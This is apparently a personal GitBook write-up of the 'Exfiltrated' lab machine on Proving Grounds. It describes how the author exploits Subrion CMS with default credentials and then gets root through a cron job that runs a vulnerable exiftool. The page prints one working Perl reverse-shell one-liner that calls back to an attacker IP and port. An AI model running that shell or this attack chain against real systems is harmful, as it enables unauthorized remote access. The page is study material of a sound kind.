Hacker Kayra
  • 📍Introduction Page
  • ⭐Learning Process
    • 🧠Learning Mindset
    • 🖇️Learning Dependencies
    • 🧮Learning Process
  • 🔠Fundamentals
    • 🛜Networking Fundamentals
    • 🐧Linux Fundamentals
    • 🪟Windows Fundamentals
    • 🕵️Active Directory
    • 🕸️Introduction to Web Applications
    • 🗃️Other Useful Concepts
      • Regular Expressions (RegEx)
  • 🧰Tools
    • Nmap
    • Nessus
    • Ffuf
    • Hydra
    • John The Ripper
  • ✍️Write Ups
    • 🗃️Hack The Box Machines
      • 🐧Linux
        • Code
    • 🗃️Proving Grounds Boxes
      • 🐧Linux
        • Stapler
        • eLection
        • Loly
        • Blogger
        • Potato
        • Amaterasu
        • Exfiltrated
        • Pelican
        • Astronaut
        • Cockpit
        • Levram
        • Extplorer
        • LaVita
        • pc
        • Scrutiny
        • Zipper
        • Flu
        • Twiggy
        • Codo
        • Crane
        • Hub
        • BlackGate
        • Boolean
        • ClamAV
        • PayDay
        • Snookums
        • Bratarina
        • Nibbles
      • 🪟Windows
        • Algernon
        • AuthBy
        • Craft
        • Kevin
        • Squid
        • Jacko
        • DVR4
        • Hepet
        • Shenzi
        • Nickel
        • Slort
        • MedJed
        • Active Directory
          • Access
          • Vault
    • 🪪Certificates
      • Certified Professional Penetration Tester (eCPPTv3)
      • Web Application Penetration Tester eXtreme (eWPTXv3)
  • 📚Study Notes
    • Penetration Tester (HTB CPTS)
      • Penetration Testing Process
      • Reconnaissance, Enumeration & Attack Planning
        • Network Enumeration with Nmap (Continue Here)
        • Footprinting (Just Do Formatting)
        • Vulnerability Scanning (Check)
        • File Transfers (Continue Here)
        • Using the Metasploit Framework
        • Web Information Gathering
        • Shells & Payloads
      • Exploitation & Lateral Movement
        • Attacking Common Services (Just Do Formatting)
        • Password Attacks (TBC)
        • Active Directory Enumeration & Attacks (TBC)
        • Pivoting, Tunneling, and Port Forwarding
      • Web Exploitation
        • Using Web Proxies (Check)
        • Attacking Web Applications With Ffuf (Check)
        • Login Bruteforcing
        • Cross-Site Scripting (XSS)
        • Command Injection
        • SQL Injection
        • File Upload Attacks
        • File Inclusion
        • Web Attacks (Check)
        • Attacking Common Applications
      • Post-Exploitation
        • Linux Privilege Escalation
        • Windows Privilege Escalation (TBC)
  • 🗄️Archive/Backup/Bin
    • Sysmon Usecases (IBM)
    • 🐧Linux Fundamentals (TryHackMe)
      • Introduction
      • Basic Commands
      • Wildcards & Operators
      • Permissions
      • Common Directories
      • Terminal Text Editors
      • General/Useful Utilities
    • 🪟Windows Fundamentals (TryHackMe)
      • Introduction
      • The File System
      • User Accounts
      • Settings & Control Panel & Task Manager
      • System Configuration
    • Active Directory (TryHackMe)
      • Breaching Active Directory
    • FOR508: Advanced Incident Response, Threat Hunting, and Digital Forensics
      • Book 2 - Intrusion Analysis
        • Credential Theft
        • Event Log Analysis for Responders and Hunters
    • Certified Threat Hunting Professional (eCTHPv2)
      • Threat Hunting: Hunting the Endpoint & Endpoint Analysis
        • Event IDs, Logging, & SIEMs
    • OSCP
      • Report Writing
      • ✅Passive Information Gathering
      • ✅Active Information Gathering
      • ✅Vulnerability Scanning
      • Introduction to Web Application Attacks
      • Common Web Application Attacks
        • ✅Cross-Site Scripting (XSS)
        • ✅Directory Traversal
        • ✅File Inclusion
        • ✅File Upload Vulnerabilities
        • Command Injection
        • SQL Injection Attacks
        • Client Side Attacks
      • ✅Locating Public Exploits
      • ✅Exploiting Walkthrough
      • Fixing Exploits
      • ✅Antivirus Evasion
      • Password Attacks
      • Windows Privilege Escalation
      • Linux Privilege Escalation
      • Port Redirection and SSH Tunneling
      • Tunneling Through Deep Packet Inspection
      • The Metasploit Framework
      • Active Directory Introduction & Enumeration
      • Attacking Active Directory Authentication
      • Lateral Movement in Active Directory
      • Assembling the Pieces
      • Other General Information
    • ⚡Port Swigger (Web Penetration Testing)
      • ✅Information Disclosure
      • ✅Path Traversal (Directory Traversal)
      • ✅OS Command Injection
      • Business Logic Vulnerabilities
      • ✅Authentication
      • ✅Access Control
    • Certified Bug Bounty Hunter (CBBH)
      • Web Requests
        • HTTP Fundamentals
    • Getting Started
      • Introduction
      • Pentesting Basics
    • Certified Penetration Testing Specialist (CPTS)
      • Introduction
        • ✅Penetration Testing Process
          • Penetration Testing Overview
          • Laws & Regulations
          • Penetration Testing Process
          • Pre-Engagement
          • Information Gathering
          • Vulnerability Assessment
          • Exploitation
          • Post-Exploitation
          • Lateral Movement
          • Proof-of-Concept
          • Post-Engagement
          • Practice
          • Academy Module Layout
        • Getting Started with Hack The Box (HTB)
      • Reconnaissance, Enumeration & Attack Planning
        • ✅Network Enumeration with Nmap
          • Enumeration & Introduction to Nmap
          • Host Discovery
          • Host and Port Scanning
          • Saving The Results
          • Service Enumeration
          • Nmap Scripting Engine
          • Scanning Performance
          • Firewall and IDS/IPS Evasion
        • Footprinting
        • ✅Information Gathering - Web Edition
          • Introduction
          • Passive Information Gathering
          • Active Information Gathering
        • Vulnerability Assessment
        • File Transfers
        • Shells & Payloads
        • Using the Metasploit Framework
      • Exploitation & Lateral Movement
        • Password Attacks
        • Attacking Common Services
        • Pivoting, Tunneling, and Port Forwarding
        • Active Directory Enumeration & Attacks
      • Web Exploitation
        • Using Web Proxies
        • ✅Attacking Web Applications with Ffuf
        • ✅Login Brute Forcing
        • SQL Injection Fundamentals
        • SQLMap Essentials
        • Cross-Site Scripting (XSS)
        • File Inclusion
        • File Upload Attacks
        • Command Injections
        • Web Attacks
        • Attacking Common Applications
      • Post-Exploitation
        • Linux Privilege Escalation
        • Windows Privilege Escalation
      • Reporting & Capstone
        • Documentation & Reporting
        • Attacking Enterprise Networks
    • Old Active Directory
    • Tib3rius Privilege Escalation
      • Linux Privilege Escalation
    • HTB Archived Write-Ups (Check)
      • Irked
      • Nibbles
      • Brainfuck
      • Lame (Check)
    • 📋Cheat Sheets
      • Penetration Testing Cheat Sheet (In Progress)
Powered by GitBook
On this page
  • Enumeration & Reconnaissance
  • Service Analysis
  • Gaining Initial Access
  • Privilege Escalation
  • Lessons Learned
  1. Write Ups
  2. Proving Grounds Boxes
  3. Linux

Exfiltrated

PreviousAmaterasuNextPelican

Last updated 27 days ago

Source: Proving Grounds OS: Linux Community Rating: Intermediate

Enumeration & Reconnaissance

  • I started off with autorecon, which revealed two open ports on the target:

    • SSH (22)

    • HTTP (80)

Service Analysis

  • After examining the HTTP service, the hostname http://exfiltrated.offsec appeared, so I updated my /etc/hosts to properly resolve it.

  • I checked for the robots.txt and that easy, it unveiled several hidden directories. One of these directories led me to an admin login page for Subrion CMS v4.2.1.

Gaining Initial Access

  • A quick web search confirmed that this version is affected by CVE-2018-19422. However, to take advantage of this vulnerability, valid credentials were necessary. I tried the default combination admin:admin, and it worked!

  • I obtained a shell, though it was quite terrible, pretty much a basic, non-interactive shell. My attempts to upgrade it to a fully interactive TTY shell were unsuccessful until I tried a Perl one-liner. Running the following command finally gave me a usable shell (The shell was generated using revshells.com):

perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"192.168.45.217:9001");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'

Privilege Escalation

  • Once I had a reliable shell, I ran linpeas.sh to scout for further vulnerabilities. The scan pointed out that the target was vulnerable to CVE-2021-4034, the notorious Polkit exploit that had given me so much trouble on the previous machine. I didn't want to try this route again.

  • I checked the cron jobs and was pleased to discover one scheduled to run every minute. The cron job executed a script that used exiftool on uploaded files, appending the data to the logs.

  • A bit of online research revealed that exiftool is vulnerable to CVE-2021-22204. I found a github PoC that created the payload, I crafted the payload image to exploit this vulnerability, moved it to the target, and waited for the cron job to pick it up. When the cron job executed my payload, I obtained root access.

Lessons Learned

  • Hidden Directories: A simple robots.txt file can uncover critical hidden paths.

  • Default Credentials: Sometimes, the most obvious username and password (admin:admin) can be all it takes to exploit a vulnerability.

  • Cron Job Exploitation: The insecure cron job the path to root.

✍️
🗃️
🐧
robots.txt
Subrion CMS
CVE-2018-19422
The Cron Job Script
CVE-2021-22204 Payload